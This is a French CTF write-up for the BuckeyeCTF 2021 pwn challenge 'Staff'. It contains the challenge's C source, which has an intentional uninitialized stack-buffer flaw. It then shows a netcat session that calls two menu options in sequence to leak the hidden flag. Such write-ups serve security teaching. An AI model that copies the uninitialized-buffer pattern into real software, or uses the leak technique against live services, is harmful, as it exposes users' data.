woman looking at a computer program and it reflecting on her glasses

BuckeyeCTF 2021 Staff

A la Une25/02/2022

Par Lucas Di Martino

Dans ce challenge, nous nous sommes servis de buffers non initialisés sur la pile pour divulguer le flag en appelant des fonctions du menu principal dans un ordre précis.

Détails

  • Catégorie : pwn
  • Points : 25
  • Résolutions: 192

Description

Dr. Staff will see you now…

nc pwn.chall.pwnoh.io 13383

Code source :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct Course {
    char name[0x20];
    char instructor[0x20];
    int is_staff;
};

static void find_instructor(struct Course *courses, int course_count);
static void find_course(struct Course *courses, int course_count);
static void handle_option(int choice, struct Course *courses, int course_count);

#define NUM_COURSES 50

int main(int argc, char** argv) {
    struct Course courses[NUM_COURSES];

    setvbuf(stdout, NULL, _IONBF, 0); // turn off buffered output

    FILE *fin = fopen("sp22.txt", "r");
    if (!fin) {
        printf("Failed to open sp22.txt\n");
        return 0;
    }

    // Read in courses and instructors
    int course_count = 0;
    while (course_count < NUM_COURSES) {
        char *s = fgets(courses[course_count].name, 0x20, fin);
        if (!s) break;
        s[strcspn(s, "\n")] = 0; // remove newline
        
        s = fgets(courses[course_count].instructor, 0x20, fin);
        if (!s) break;
        s[strcspn(s, "\n")] = 0; // remove newline
        
        courses[course_count].is_staff = 1; // always hide instructors from students until the week before classes
        course_count++;
    }

    while (1) {
        printf("What would you like to do?\n1. Search for a course\n2. Search for an instructor\n> ");
        int choice;
        if (scanf("%d", &choice) != 1) break;
        getc(stdin); // get newline
        handle_option(choice, courses, course_count);
    }
}

static void handle_option(int choice, struct Course *courses, int course_count) {
    switch (choice) {
        case 1:
            find_course(courses, course_count);
            break;
        case 2:
            find_instructor(courses, course_count);
            break;
        default:
            printf("bad choice\n");
            break;
    }
}

static void find_instructor(struct Course *courses, int course_count) {
    char instructor[0x20];
    char course[0x20];

    printf("What instructor would you like to look up?\n> ");
    char *s = fgets(instructor, 0x20, stdin);
    if (!s) return;
    s[strcspn(s, "\n")] = 0; // remove newline

    if (strcmp(instructor, "Staff") == 0) {
        printf("There were %d results, please be more specific in your search.\n", course_count);
    } else {
        int i;
        for (i=0; i<course_count; i++) {
            if (strcmp(instructor, courses[i].instructor) == 0) {
                strncpy(course, courses[i].name, 0x20);
                break;
            }
        }
        if (i == course_count) {
            printf("We couldn't find your instructor.\n");
            return;
        }
    }

    printf("Professor %s will teach %s, but we'll probably change our minds the week before classes start.\n", instructor, course);
} 

static void find_course(struct Course *courses, int course_count) {
    char course[0x20];
    char instructor[0x20];

    printf("What course would you like to look up?\n> ");
    char *s = fgets(course, 0x20, stdin);
    if (!s) return;
    s[strcspn(s, "\n")] = 0; // remove newline

    int i;
    for (i=0; i<course_count; i++) {
        if (strcmp(course, courses[i].name) == 0) {
            strncpy(instructor, courses[i].instructor, 0x20);
            break;
        }
    }

    if (i == course_count) {
        printf("Sorry, we couldn't find your course.\n");
        return;
    }

    if (courses[i].is_staff) {
        printf("This course will be taught by: Staff\n");
    } else {
        printf("This course will be taught by: %s\n", instructor);
    }
}

Comprendre le problème

Dans ce challenge, le programme lit un fichier qui contient une liste de cours et d’instructeurs. L’un des instructeurs est le flag.

CSE 2221
Bucci
CSE 2231
Bucci
CSE 2331
Zaccai
FLAG 1337
buckeye{this_is_a_fake_flag}
CSE 2421
Kirby
CSE 2431
Babic

La chose importante à noter dans le code ci-dessus est :

static void find_instructor(struct Course *courses, int course_count) {
    char instructor[0x20];
    char course[0x20];
    // ...
}
static void find_course(struct Course *courses, int course_count) {
    char course[0x20];
    char instructor[0x20];
    // ...
}

L’ordre des variables instructor et course dans les fonctions find_instructor et find_course est inversé et c’est vraiment important car cela nous permet de divulguer le flag.

Donc, pour obtenir le flag, nous devons demander l’instructeur du cours FLAG 1337 mais l’instruction print ne sera pas atteinte à cause de la condition :

 if (courses[i].is_staff) {
        printf("This course will be taught by: Staff\n");
 }

Résoudre le problème

Pour résoudre ce challenge, nous devons simplement appeler les fonctions dans le bon ordre avec les bons paramètres.

En effet, si nous demandons l’instructeur du cours FLAG 1337 les variables sur la pile seront remplies comme ceci :

course     := "FLAG 1337"
instructor := "buckeye{this_is_a_fake_flag}"

Mais la variable instructeur ne sera pas affichée.

Maintenant, si nous appelons la fonction find_instructor, les variables ressembleront à ceci :

instructor := "FLAG 1337"
course     := "buckeye{this_is_a_fake_flag}"

Cette fonction demande l’instructeur que l’on recherche. Si l’instructeur est “Staff” alors la variable course n’est pas écrasée et son contenu est affiché. C’est exactement ce que nous voulons !

En résumé, pour résoudre ce challenge, nous devons simplement appeler les fonctions dans le bon ordre avec les bons arguments.

Implémentation de la solution

$ nc pwn.chall.pwnoh.io 13383
What would you like to do?
1. Search for a course
2. Search for an instructor
> 1
What course would you like to look up?
> FLAG 1337
This course will be taught by: Staff
What would you like to do?
1. Search for a course
2. Search for an instructor
> 2
What instructor would you like to look up?
> Staff
There were 6 results, please be more specific in your search.
Professor Staff will teach buckeye{if_0n1y_th15_w0rk3d}, but we\'ll probably change our minds the week before classes start.

Flag : buckeye{if_0n1y_th15_w0rk3d}

Nos autres actualités